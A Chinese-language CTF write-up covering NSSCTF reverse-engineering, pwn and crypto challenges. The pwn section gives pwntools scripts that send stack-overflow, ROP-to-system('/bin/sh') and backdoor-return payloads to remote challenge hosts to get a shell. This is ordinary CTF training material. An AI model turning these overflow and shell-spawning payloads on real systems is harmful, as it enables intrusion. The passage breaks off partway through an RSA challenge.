REVERSE

Week1

超级签到

image-20221012160242556.png

逻辑就是输入的Str1和Str2进行比较,flag就是Str2,不过这里当Str2[j] == 111时被替换成Str2[j] == 48。即把o替换成0。

NSSCTF{hell0_w0rld}

贝斯是什么乐器啊?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
char Str2[160]; // [rsp+20h] [rbp-60h] BYREF
char Str[124]; // [rsp+C0h] [rbp+40h] BYREF
int i; // [rsp+13Ch] [rbp+BCh]

_main();
puts("please input your flag:");
scanf("%s", Str);
for ( i = 0; i < strlen(Str); ++i )
Str[i] -= i;
base64_encode(Str2, Str);
if ( !strcmp(enc, Str2) )
printf("yes!");
else
printf("error");
return 0;
}

Str做了个小混淆,然后经过base64加密。那么密文就是enc。

image-20221012161359666.png

exp.py

1
2
3
4
5
6
str = "NRQ@PAu;8j[+(R:2806.i"
flag=""
for i in range(0,len(str)):
ans = ord(str[i]) + i
flag += chr(ans)
print(flag)

NSSCTF{B@se64_HAHAHA}

X0r

给阿姨倒一杯Jvav

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)

import java.util.ArrayList;
import java.util.Scanner;

public class Reverse {
public Reverse() {
}

public static void main(String[] args) {
Scanner s = new Scanner(System.in);
System.out.println("Please input the flag :");
String str = s.next();
System.out.println("Your input is :");
System.out.println(str);
char[] stringArr = str.toCharArray();
Encrypt(stringArr);
}

public static void Encrypt(char[] arr) {
ArrayList<Integer> Resultlist = new ArrayList();

for(int i = 0; i < arr.length; ++i) {
int result = arr[i] + 64 ^ 32;
Resultlist.add(result);
}

int[] KEY = new int[]{180, 136, 137, 147, 191, 137, 147, 191, 148, 136, 133, 191, 134, 140, 129, 135, 191, 65};
ArrayList<Integer> KEYList = new ArrayList();

for(int j = 0; j < KEY.length; ++j) {
KEYList.add(KEY[j]);
}

System.out.println("Result:");
if (Resultlist.equals(KEYList)) {
System.out.println("Congratulations!");
} else {
System.err.println("Error!");
}

}
}

java逆向,拖到ij里面。flag被Encrypt加密了,加密逻辑就是flag的每一位加上64^32。

exp.py

1
2
3
4
5
6
str = [180, 136, 137, 147, 191, 137, 147, 191, 148, 136, 133, 191, 134, 140, 129, 135, 191, 65]
flag=""
for i in range(len(str)):
ans = str[i] - 64 ^ 32
flag += chr(ans)
print(flag)

NSSCTF{This_is_the_flag_!}

你知道什么是Py嘛?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
s = str(input("please input your flag:"))


arr=[29, 0, 16, 23, 18, 61, 43, 41, 13, 28, 88, 94, 49, 110, 66, 44, 43, 28, 91, 108, 61, 7, 22, 7, 43, 51, 44, 46, 9, 18, 20, 6, 2, 24]

if(len(s)!=35 or s[0]!='N'):
print("error")
exit(0)

for i in range(1,len(s)):
if(ord(s[i-1])^ord(s[i])!=arr[i-1]):
print("error!")
exit(0)
print("right!")

python逆向。这题直接给源码了。要求ord(s[i-1])^ord(s[i])!=arr[i-1],已知s[0] = ‘N’。那么就能递推后面的s[i]了:s[i+1] = arr[i]^s[i]。

exp.py

1
2
3
4
5
6
7
8
9
10
11
arr = [29, 0, 16, 23, 18, 61, 43, 41, 13, 28, 88, 94, 49, 110, 66, 44, 43, 28, 91, 108, 61, 7, 22, 7, 43, 51, 44, 46, 9, 18, 20, 6, 2, 24]
s = {}
flag=""
for i in range(0,len(arr)):
s[0] = ord('N')
s[i+1] = arr[i]^s[i]

for i in range(0,len(s)):
flag += chr(s[i])

print(flag)

NSSCTF{Pyth0n_1s_th3_best_l@nguage

CrackMe

不怎么会od,官方wp。

找出CreakMe的Serial

要学习使用Olldbg的使用

[原创]《使用 OD 从零开始 Cracking》学习笔记-软件逆向-看雪论坛-安全社区|安全招聘|bbs.pediy.com

通过OD中的字符串查找插件找到判断正确或错误的字符串位置

使用F2 设置断点 然后F9运行

在内存中找到了明文比较的serial 取出来即可

注意这个172….是错误的 需要在内存中找到真正的字符串

Week2

Little Endian

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[36]; // [rsp+20h] [rbp-30h] BYREF
int i; // [rsp+44h] [rbp-Ch]
char *v6; // [rsp+48h] [rbp-8h]

_main();
puts("please input your flag");
scanf("%s", v4);
v6 = v4;
for ( i = 0; i <= 5; ++i )
{
if ( *(_DWORD *)v6 != (enc[i] ^ 0x12345678) )
{
printf("Data3rr0r!");
exit(0);
}
v6 += 4;
}
printf("you are right!");
return 0;
}

enc里面就是密文了,逻辑就是v6和enc[i]^0x12345678比较,每次v6都会自增4(没软用)。要注意的是(_DWORD )v6是大端序,但是数据在内存中都是小端序,所以要将其反转一下。一般在CPU,x86都是小端序,但是IDA会将之转换为了大端序。python不怎么熟,就直接暴力切片了。

image-20221020102007833.png

image-20221012173123111.png

exp.py

1
2
3
4
5
6
7
import base64
enc = [0x51670536, 0x5E4F102C, 0x7E402211, 0x7C71094B, 0x7C553F1C, 0x6F5A3816]
dex = ''
for i in range(len(enc)):
flag = enc[i]^0x12345678
dex = dex +hex(flag)[8:10]+hex(flag)[6:8]+hex(flag)[4:6]+hex(flag)[2:4]
print(base64.b16decode(dex.upper()))

NSSCTF{Littl3_Endiannnn}

Easy_Android

jeb反编译,看核心代码,jav代码审计。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
package com.example.crackme;

import android.app.Activity;
import android.os.Bundle;
import android.view.Menu;
import android.view.View.OnClickListener;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;

public class MainActivity extends Activity {
private Button btn_register;
private EditText edit_sn;
String edit_userName;

private boolean checkSN(String arg11, String arg12) {
if(arg11 == null) {
return false;
}

try {
if(arg11.length() != 0 && (arg12 != null && arg12.length() == 22)) {
MessageDigest digest = MessageDigest.getInstance("MD5");
digest.reset();
digest.update(arg11.getBytes());
String hexstr = MainActivity.toHexString(digest.digest(), "");
StringBuilder sb = new StringBuilder();
int i;
for(i = 0; i < hexstr.length(); i += 2) {
sb.append(((char)hexstr.charAt(i)));
}

boolean v8 = "flag{" + sb.toString() + "}".equalsIgnoreCase(arg12);
return v8;
}
}
catch(NoSuchAlgorithmException e) {
e.printStackTrace();
}

return false;
}

@Override // android.app.Activity
public void onCreate(Bundle arg3) {
super.onCreate(arg3);
this.setContentView(0x7F040019); // layout:activity_main
this.setTitle(0x7F06001D); // string:unregister "TopCtf"
this.edit_userName = "Tenshine";
this.edit_sn = (EditText)this.findViewById(0x7F0C0051); // id:edit_sn
this.btn_register = (Button)this.findViewById(0x7F0C0052); // id:button_register
this.btn_register.setOnClickListener(new View.OnClickListener() {
@Override // android.view.View$OnClickListener
public void onClick(View v) {
String v1 = MainActivity.this.edit_userName.trim();
String v2 = MainActivity.this.edit_sn.getText().toString().trim();
if(!MainActivity.this.checkSN(v1, v2)) {
Toast.makeText(MainActivity.this, 0x7F06001E, 0).show(); // string:unsuccessed "错误!"
return;
}

Toast.makeText(MainActivity.this, 0x7F06001B, 0).show(); // string:successed "恭喜您!"
MainActivity.this.btn_register.setEnabled(false);
MainActivity.this.setTitle(0x7F060019); // string:registered "恭喜"
}
});
}

@Override // android.app.Activity
public boolean onCreateOptionsMenu(Menu menu) {
this.getMenuInflater().inflate(0x7F0D0000, menu); // menu:activity_main
return true;
}

private static String toHexString(byte[] arg8, String arg9) {
StringBuilder hexString = new StringBuilder();
int i$;
for(i$ = 0; i$ < arg8.length; ++i$) {
String hex = Integer.toHexString(arg8[i$] & 0xFF);
if(hex.length() == 1) {
hexString.append('0');
}

hexString.append(hex).append(arg9);
}

return hexString.toString();
}
}

Tenshine经过md5加密后得到的字符串,每次取i += 2,得到flag。

1
2
3
4
5
6
7
import hashlib
str = 'Tenshine'
md5 = hashlib.md5(str.encode('utf-8')).hexdigest()
flag = ''
for i in range(0,len(md5),2):
flag += md5[i]
print('NSSCTF{%s}'%flag)

来解个方程?

ida进入核心函数,可以看到result = (unsigned int)(186 v18 + 2712 v17 + 2136 v16 + 98 v13 + 138 v14 + 3584 v15 + 1173 * v19,那么我们的目标就是求这几个参数了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
__int64 __fastcall check(_BYTE *a1)
{
__int64 result; // rax
int v2; // [rsp+20h] [rbp-A0h]
int v3; // [rsp+24h] [rbp-9Ch]
int v4; // [rsp+28h] [rbp-98h]
int v5; // [rsp+2Ch] [rbp-94h]
int v6; // [rsp+30h] [rbp-90h]
int v7; // [rsp+34h] [rbp-8Ch]
int v8; // [rsp+38h] [rbp-88h]
int v9; // [rsp+3Ch] [rbp-84h]
int v10; // [rsp+40h] [rbp-80h]
int v11; // [rsp+44h] [rbp-7Ch]
int v12; // [rsp+48h] [rbp-78h]
int v13; // [rsp+4Ch] [rbp-74h]
int v14; // [rsp+50h] [rbp-70h]
int v15; // [rsp+54h] [rbp-6Ch]
int v16; // [rsp+58h] [rbp-68h]
int v17; // [rsp+5Ch] [rbp-64h]
int v18; // [rsp+60h] [rbp-60h]
int v19; // [rsp+64h] [rbp-5Ch]
int v20; // [rsp+68h] [rbp-58h]
int v21; // [rsp+6Ch] [rbp-54h]
int v22; // [rsp+70h] [rbp-50h]
int v23; // [rsp+74h] [rbp-4Ch]
int j; // [rsp+ACh] [rbp-14h]
_BYTE *i; // [rsp+B0h] [rbp-10h]
int v26; // [rsp+BCh] [rbp-4h]

v26 = 0;
for ( i = a1; *i; ++i )
++v26;
if ( v26 == 22 )
{
for ( j = 0; j < v26; ++j )
*(&v2 + j) = (char)a1[j];
if ( 245 * v6 + 395 * v5 + 3541 * v4 + 2051 * v3 + 3201 * v2 + 1345 * v7 != 855009
|| 3270 * v6 + 3759 * v5 + 3900 * v4 + 3963 * v3 + 1546 * v2 + 3082 * v7 != 1515490
|| 526 * v6 + 2283 * v5 + 3349 * v4 + 2458 * v3 + 2012 * v2 + 268 * v7 != 854822
|| 3208 * v6 + 2021 * v5 + 3146 * v4 + 1571 * v3 + 2569 * v2 + 1395 * v7 != 1094422
|| 3136 * v6 + 3553 * v5 + 2997 * v4 + 1824 * v3 + 1575 * v2 + 1599 * v7 != 1136398
|| 2300 * v6 + 1349 * v5 + 86 * v4 + 3672 * v3 + 2908 * v2 + 1681 * v7 != 939991
|| 212 * v22 + 153 * v21 + 342 * v20 + 490 * v12 + 325 * v11 + 485 * v10 + 56 * v9 + 202 * v8 + 191 * v23 != 245940
|| 348 * v22 + 185 * v21 + 134 * v20 + 153 * v12 + 460 * v9 + 207 * v8 + 22 * v10 + 24 * v11 + 22 * v23 != 146392
|| 177 * v22 + 231 * v21 + 489 * v20 + 339 * v12 + 433 * v11 + 311 * v10 + 164 * v9 + 154 * v8 + 100 * v23 != 239438
|| 68 * v20 + 466 * v12 + 470 * v11 + 22 * v10 + 270 * v9 + 360 * v8 + 337 * v21 + 257 * v22 + 82 * v23 != 233887
|| 246 * v22 + 235 * v21 + 468 * v20 + 91 * v12 + 151 * v11 + 197 * v8 + 92 * v9 + 73 * v10 + 54 * v23 != 152663
|| 241 * v22 + 377 * v21 + 131 * v20 + 243 * v12 + 233 * v11 + 55 * v10 + 376 * v9 + 242 * v8 + 343 * v23 != 228375
|| 356 * v22 + 200 * v21 + 136 * v11 + 301 * v10 + 284 * v9 + 364 * v8 + 458 * v12 + 5 * v20 + 61 * v23 != 211183
|| 154 * v22 + 55 * v21 + 406 * v20 + 107 * v12 + 80 * v10 + 66 * v8 + 71 * v9 + 17 * v11 + 71 * v23 != 96788
|| 335 * v22 + 201 * v21 + 197 * v11 + 280 * v10 + 409 * v9 + 56 * v8 + 494 * v12 + 63 * v20 + 99 * v23 != 204625
|| 428 * v18 + 1266 * v17 + 1326 * v16 + 1967 * v15 + 3001 * v14 + 81 * v13 + 2439 * v19 != 1109296
|| 2585 * v18 + 4027 * v17 + 141 * v16 + 2539 * v15 + 3073 * v14 + 164 * v13 + 1556 * v19 != 1368547
|| 2080 * v18 + 358 * v17 + 1317 * v16 + 1341 * v15 + 3681 * v14 + 2197 * v13 + 1205 * v19 != 1320274
|| 840 * v18 + 1494 * v17 + 2353 * v16 + 235 * v15 + 3843 * v14 + 1496 * v13 + 1302 * v19 != 1206735
|| 101 * v18 + 2025 * v17 + 2842 * v16 + 1559 * v15 + 2143 * v14 + 3008 * v13 + 981 * v19 != 1306983
|| 1290 * v18 + 3822 * v17 + 1733 * v16 + 292 * v15 + 816 * v14 + 1017 * v13 + 3199 * v19 != 1160573
|| (result = (unsigned int)(186 * v18 + 2712 * v17 + 2136 * v16 + 98 * v13 + 138 * v14 + 3584 * v15 + 1173 * v19),
(_DWORD)result != 1005746) )
{
printf("error");
return 0i64;
}
}
else
{
printf("error");
return 0i64;
}
return result;
}

z3解方程

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from z3 import *
flag=[0]*22
for i in range(22):
flag[i] = z3.Int("flag[%d]"%i)
S=Solver()
print(flag)
S.add(3201*flag[0]+2051*flag[1]+3541*flag[2]+395*flag[3]+245*flag[4]+1345*flag[5]==855009,
1546*flag[0]+3963*flag[1]+3900*flag[2]+3759*flag[3]+3270*flag[4]+3082*flag[5]==1515490,
2012*flag[0]+2458*flag[1]+3349*flag[2]+2283*flag[3]+526*flag[4]+268*flag[5]==854822,
2569*flag[0]+1571*flag[1]+3146*flag[2]+2021*flag[3]+3208*flag[4]+1395*flag[5]==1094422,
1575*flag[0]+1824*flag[1]+2997*flag[2]+3553*flag[3]+3136*flag[4]+1599*flag[5]==1136398,
2908*flag[0]+3672*flag[1]+86*flag[2]+1349*flag[3]+2300*flag[4]+1681*flag[5]==939991,
flag[6]*202+flag[7]*56+flag[8]*485+flag[9]*325+flag[10]*490+flag[18]*342+flag[19]*153+flag[20]*212+flag[21]*191==245940,
flag[6]*207+flag[7]*460+flag[8]*22+flag[9]*24+flag[10]*153+flag[18]*134+flag[19]*185+flag[20]*348+flag[21]*22==146392,
flag[6]*154+flag[7]*164+flag[8]*311+flag[9]*433+flag[10]*339+flag[18]*489+flag[19]*231+flag[20]*177+flag[21]*100==239438,
flag[6]*360+flag[7]*270+flag[8]*22+flag[9]*470+flag[10]*466+flag[18]*68+flag[19]*337+flag[20]*257+flag[21]*82==233887,
flag[6]*197+flag[7]*92+flag[8]*73+flag[9]*151+flag[10]*91+flag[18]*468+flag[19]*235+flag[20]*246+flag[21]*54==152663,
flag[6]*242+flag[7]*376+flag[8]*55+flag[9]*233+flag[10]*243+flag[18]*131+flag[19]*377+flag[20]*241+flag[21]*343==228375,
flag[6]*364+flag[7]*284+flag[8]*301+flag[9]*136+flag[10]*458+flag[18]*5+flag[19]*200+flag[20]*356+flag[21]*61==211183,
flag[6]*66+flag[7]*71+flag[8]*80+flag[9]*17+flag[10]*107+flag[18]*406+flag[19]*55+flag[20]*154+flag[21]*71==96788,
flag[6]*56+flag[7]*409+flag[8]*280+flag[9]*197+flag[10]*494+flag[18]*63+flag[19]*201+flag[20]*335+flag[21]*99==204625,
81*flag[11]+3001*flag[12]+1967*flag[13]+1326*flag[14]+1266*flag[15]+428*flag[16]+2439*flag[17]==1109296,
164*flag[11]+3073*flag[12]+2539*flag[13]+141*flag[14]+4027*flag[15]+2585*flag[16]+1556*flag[17]==1368547,
2197*flag[11]+3681*flag[12]+1341*flag[13]+1317*flag[14]+358*flag[15]+2080*flag[16]+1205*flag[17]==1320274,
1496*flag[11]+3843*flag[12]+235*flag[13]+2353*flag[14]+1494*flag[15]+840*flag[16]+1302*flag[17]==1206735,
3008*flag[11]+2143*flag[12]+1559*flag[13]+2842*flag[14]+2025*flag[15]+101*flag[16]+981*flag[17]==1306983,
1017*flag[11]+816*flag[12]+292*flag[13]+1733*flag[14]+3822*flag[15]+1290*flag[16]+3199*flag[17]==1160573,
98*flag[11]+138*flag[12]+3584*flag[13]+2136*flag[14]+2712*flag[15]+186*flag[16]+1173*flag[17]==1005746)
S.check()
t = S.model()
print(t)
for i in range(22):
try:print(t[flag[i]],end=',')
except:pass
sb = [78,83,83,67,84,70,123,112,105,112,95,105,110,115,116,64,108,108,95,90,51,125,]
for i in sb:
print(chr(i),end='')

NSSCTF{pip_inst@ll_Z3}

e@sy_flower

很明显的花指令。

image-20221023100120874.png

一般来说,汇编语言的跳转应该是直接是一个地址,而不会出现+1这种情况,出现这种情况一般是由脏字导致,于是我们把爆红的地方按快捷键u转化为数据,可以看到,D4处是垃圾数据,正常的函数应该是从unk_401D5处开始的,而由于脏字的加入导致反编译失败。

image-20221023101053945.png

按快捷键c把unk_401D5后的数据转化成代码,同时把垃圾数据nop掉即可,把错误的地方按p重新识别为函数。

image-20221023100609377.png

主函数编译出来了。加密逻辑就是输入数据的v[2*i-1]v[2*i]交换后和0x30异或。

image-20221023102052453.png

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
str = [0x63, 0x7E, 0x73, 0x63, 0x76, 0x64, 0x7A, 0x4B, 0x43, 0x45, 
0x6F, 0x44, 0x45, 0x5A, 0x5B, 0x5E, 0x72, 0x6F, 0x44, 0x49,
0x43, 0x55, 0x4D, 0x43]
flag = ''
for i in range(0, (len(str)+1)//2):
temp = str[2*i]
str[2*i] = str[2*i+1]
str[2*i+1] = temp
for i in range(0,len(str)):
ans = str[i] ^ 0x30
flag = flag + chr(ans)
print(flag)

NSSCTF{Just_junk_Bytess}

Week3

Packet

查壳后发现程序加壳了,是upx3.96。脱壳即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __cdecl main(int argc, const char **argv, const char **envp)
{
char Str2[160]; // [rsp+20h] [rbp-60h] BYREF
char v5[128]; // [rsp+C0h] [rbp+40h] BYREF

_main();
puts("please input your flag:");
scanf("%s", v5);
do_something(Str2, v5);
if ( !strcmp(enc, Str2) )
printf("yes!");
else
printf("error");
return 0;
}

v5与str2经过do_something加密后为密文enc

image-20221021105716955.png

很明显的换表base64加密。

密文enc=’tLntq1rgE1vqwf8XC19Zmf8Zyxn5Fq==’那么经过换表base64解迷2就是flag了。

NSSCTF{UPX_1s_s0_3asy}

getflag

提示要点99999999下才能拿到flag,ce找基址然后改内存即可。

image-20221021110552499.png

PWN

Week1

easy_overflow

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include<stdio.h>
int main()
{
setbuf(stdin,0);
setbuf(stdout,0);
setbuf(stderr,0);
puts("Input something");
char name[30];
int number=0;
gets(name);
if(number!=0){
puts("You win.");
system("cat flag");
}
return 0;
}

gets存在栈溢出,gdb一下,可以看到cmp是拿[rbp - 4]即0x8c的值和0进行比较,那么可以推断出number的值就是存在这个地址里,栈顶rsp为0x60距离0x8c有0x2c个单位,那么就要存入0x2d个1就能覆盖number的值。就拿到flag了。

image-20221014112957850.png

exp.py

1
2
3
4
5
from pwn import *  
sh = remote('43.143.7.97',28048)
payload = b'1'*(0x2d)
sh.sendline(payload)
sh.interactive()

ezcmp

给源文件了,基本逻辑就是buff经过enccrypto加密。我们输入密文就能得到shell。

image-20221027104049616.png

源文件已经给我们了,直接写脚本即可,注意要&0xff得到byte形式的密文(有不可见字符),要不然打不通。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
char buff[100];
int v0;
char buffff[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234";
char bua[] = "abcdefghijklmnopqrstuvwxyz4321";
void *enccrypt(char *buf)
{
int a;
for (int i = 0; i < 29; i++)
{
a = rand();
buf[i] ^= buffff[i];
buff[i] ^= bua[i];
for (int j = 29; j >= 0; j--)
{
buf[j] = buff[i];
buf[i] += '2';
}
buf[i] -= ((bua[i] ^ 0x30) * (buffff[i] >> 2) & 1) & 0xff;
buf[i] += (a % buff[i]) & 0xff;
}
}
int main()
{
char buf[] = "Ayaka_nbbbbbbbbbbbbbbbbb_pluss";
strcpy(buff, buf);
char test[30];
int v0 = 1;
srand(v0);
enccrypt(buff);
for (int i = 0; i < 30; i++)
{
printf("0x%x,", buff[i]&0xff);
}

return 0;
}

windows和linux平台跑出来的结果不一样,用gcc编译。

exp.py

1
2
3
4
5
6
7
8
9
10
from pwn import *
context(log_level = 'debug',arch = 'amd64',os = 'linux')

p = remote('43.143.7.97',28967)
playload = ''
list = [0x72,0x40,0xe,0xdc,0xaa,0x78,0x46,0x14,0xe2,0xb0,0x7e,0x4c,0x1a,0xe8,0xb6,0x84,0x52,0x20,0xee,0xbc,0x8a,0x58,0x26,0xf4,0xc2,0x90,0x5e,0x2c,0xcb,0xc8]
for i in list:
playload += chr(i)
p.sendline(playload)
p.interactive()

ezr0p32

image-20221027104820709.png

有两个read函数,rop32不需要泄露libc地址,system函数在题中已经给出,我们在第一个read写入/bin/sh即可。

exp.py

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context(log_level = 'debug',arch = 'amd64',os = 'linux')
p = remote('43.143.7.97',28131)
system_addr = 0x08048562
bin_addr = 0x0804A080
p.recvuntil("please tell me your name\n")
p.sendline(b'/bin/sh\x00')
payload = b'a'*(0x1c + 0x4) + p32(system_addr) + p32(bin_addr)
p.recvuntil("now it's your play time~\n")
p.sendline(payload)
p.interactive()

ez_backdoor

主函数,可以看到vnln里面,read(0, buf, 0x140uLL);存在溢出。覆盖返回地址即可。

image-20221020145647559.png

后门函数的地址在0x4011d2,溢出量为0x100。

image-20221020145810487.png

exp.py

1
2
3
4
5
from pwn import *
p = remote('43.143.7.127',28064)
payload = b'a'*(0x100 + 0x8) + p64(0x4011d2)
p.sendline(payload)
p.interactive()

CRYPTO

Week1

baBAbaseSEse

base套娃,basecrcak一把梭。

image-20221030103002488.png

A dictator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from random import randint
from secret import flag

offset = randint(1,100) % 26
# print(offset)

assert flag.startswith('NSSCTF{')
assert all([ord(c) not in range(ord('A'),ord('Z')) for c in flag[7:-1]])

for char in flag[7:-1]:
if ord('a') <= ord(char) <= ord('z'):
index = ord(char)-ord('a')
new_char = chr((index+offset)%26 + ord('a'))
print(new_char,end='')
else:
print(char,end='')

# lzw_uswksj_uahzwj_ak_gfw_gx_lzw_egkl_tskau_udskkausd_uahzwjk

经典凯撒,枚举即可。

littleprince

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from secret import flag
from Crypto.Util.number import *
from random import randint
def enc(a,b,c):
return a>>b|(a&((1<<b)-1))<<(c-b)
def outp(x,h):
p=randint(1<<h,1<<h+1)
q=randint(1<<h,1<<h+1)
c1,c2=x%p,x%q
print(p,q,c1,c2)
m=bytes_to_long(flag)
m_len=m.bit_length()
d,h,st=32,16,32
r=m_len%d
assert(r>h)
while st<=m_len:
x=enc(m,st,m_len)
x>>=(m_len-d)
outp(x,h)
st+=d
m>>=(m_len-r)
outp(m,h)

output

1
2
3
4
5
6
7
8
9
10
11
12
13
14
58831 56263 46164 34042
55579 48157 2944 35950
35507 38933 1938 2559
63419 51803 24116 33843
40423 47237 20923 43307
33599 43441 4324 37076
43541 40771 42833 32799
54869 40031 21847 16617
48953 34841 36031 3788
34403 58271 12464 55665
33457 61463 3512 47396
53047 57283 185 38171
52583 59281 45851 38603
60727 58043 36261 37164

给了hint

hint:When we generate two numbers, there may be a coincidence that they are coprime.

求一下公约数,没有。中国剩余定理求一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from functools import reduce
from Crypto.Util.number import *
import gmpy2


def CRT(cipher, n):
N = reduce(lambda x, y: x * y, (i for i in n))
result = 0
data = zip(cipher, n)
for ci, ni in data:
Ni = N // ni
di = gmpy2.invert(Ni, ni)
result += ci * Ni * di
return result % N, N
with open("output.txt",'r') as f:
data = f.readlines()[::-1]
flag = b''
flag_bin=''
for t in data:
c_list = []
n_list = []
tmp = t.strip("\n").split(" ")
c_list.append(int(tmp[2]))
c_list.append(int(tmp[3]))
n_list.append(int(tmp[0]))
n_list.append(int(tmp[1]))
x, N = CRT(c_list, n_list)
print(int(x),long_to_bytes(int(x)))
if int(x) <618357700:
flag += long_to_bytes(int(x) + int(tmp[0])*int(tmp[1]))
else:
flag += long_to_bytes(int(x))
print(flag)

XXXOOORRR

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from flag import flag
from Crypto.Util.number import *
import os

randBytes = [bytes_to_long(os.urandom(64)) for _ in range(3)]
m = bytes_to_long(flag)

print(f'a = {randBytes[0]}')
print(f'b = {randBytes[0] ^ randBytes[1]}')
print(f'c = {randBytes[1] ^ randBytes[2]}')
print(f'd = {m ^ randBytes[0] ^ randBytes[1] ^ randBytes[2]}')

'''
a = 1215421974111272707828609697064234072332368362928440865251897449605952163161176359366553487776268706107760670434157083936287598207881176904763353849369234
b = 10533604054267448009117468094542127075826310122733511023911022436253583775790861879410728001403728088545946257902341417532648419689212361977221573357292618
c = 6401236597601556248960570084212025183497657335932789785351897915858852832577623776212842429736547820800219382515052263929074210010546149322465536545021479
d = 5711309307698496426409561761492698639489294806611133698231840146911562848869711567477706456972659368849642409039245400981517493100724067475248620536111560
'''

一道异或题,d^c^a就是flag。

exp.py

1
2
3
4
5
6
7
from Crypto.Util.number import *
a = 1215421974111272707828609697064234072332368362928440865251897449605952163161176359366553487776268706107760670434157083936287598207881176904763353849369234
b = 10533604054267448009117468094542127075826310122733511023911022436253583775790861879410728001403728088545946257902341417532648419689212361977221573357292618
c = 6401236597601556248960570084212025183497657335932789785351897915858852832577623776212842429736547820800219382515052263929074210010546149322465536545021479
d = 5711309307698496426409561761492698639489294806611133698231840146911562848869711567477706456972659368849642409039245400981517493100724067475248620536111560
m = d^c^a
print(long_to_bytes(m))

baby_rsa

1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Util.number import bytes_to_long, getPrime
from gmpy2 import *
from secret import flag
m = bytes_to_long(flag)
p = getPrime(128)
q = getPrime(128)
n = p * q
e = 65537
c = pow(m,e,n)
print(n,c)
# 62193160459999883112594854240161159254035770172137079047232757011759606702281
# 17331436837911040930486942133359735652484926528331507431552667656734821231501

n可以直接用factor分解出p,q,然后一把梭就行。

exp.py

1
2
3
4
5
6
7
8
9
10
11
from Crypto.Util.number import *
from gmpy2 import *

n = 62193160459999883112594854240161159254035770172137079047232757011759606702281
c = 17331436837911040930486942133359735652484926528331507431552667656734821231501
p=234560843346150602519484260867514743467
q=265147241000574873803071047177766359643
e = 65537
d = inverse(e, (p - 1) * (q - 1))
m = pow(c, d, n)
print(long_to_bytes(m))

爱妃

1
2
3
4
5
6
7
8
9
10
11
12
from secret import flag
from random import getrandbits
from string import *

def encrypt(message,a,b,m):
return bytes([(i*a+b)%m for i in message])

a,b = getrandbits(4),getrandbits(8)
print(f'c = {encrypt(flag,a,b,1<<8)}')

# c = b'y\xba\xba\xea\xc7\x11\xc2\xc7\xcb\xd8ZV\xd8ZVp\xb1\xb1\xd8\x19\xa4V\xa4\x19\x8aM\xa83g\xd8&\x19\xdc'

仿射加密.竟然已经知道明文的形式是NSSCTF{或者nssctf{,先爆破a,b,getrandbits(n)是获得一个在0-2^n之间的随机数,直接做字典爆破。a,b出来后爆破flag即可。

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from Crypto.Util.number import *
import string
from random import getrandbits

ls1 = []
ls2 = []
for i in range(16):
ls1.append(i)
for i in range(256):
ls2.append(i)


flag = b"NSSCTF{"
cipher = b'y\xba\xba\xea\xc7\x11\xc2\xc7\xcb\xd8ZV\xd8ZVp\xb1\xb1\xd8\x19\xa4V\xa4\x19\x8aM\xa83g\xd8&\x19\xdc'
for a in ls1: #爆破a和b
for b in ls2:
s = 0
for i in range(7):
if (a*flag[i] + b) % 0x100 == cipher[i]:
s += 1
if s == 7:
print(a,b)
#13 131
a,b = 13,131
table = string.printable.encode() #取ascii表
res = ""
for c in cipher:
for i in table: #爆破flag
if (a*i + b)%0x100 == c:
res += chr(i)
print(res)

Week2

RSA again

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from Crypto.Util.number import *
from secret import flag

pad = lambda x:x + bytes([16 - len(x)%16] * (16 - len(x)%16))
m = bytes_to_long(pad(flag))
p = getPrime(1024)
q = getPrime(1024)
r = getPrime(1024)
s = getPrime(1024)

n1 = p*q
n2 = r*s

e1 = 0x3
e2 = 0x10001

c1 = pow(m,e1,n1)
c2 = pow(m,e2,n2)

print(f'n1 = {n1}')
print(f'n2 = {n2}')

print(f'e1 = {e1}')
print(f'e2 = {e2}')

print(f'c1 = {c1}')
print(f'c2 = {c2}')

'''
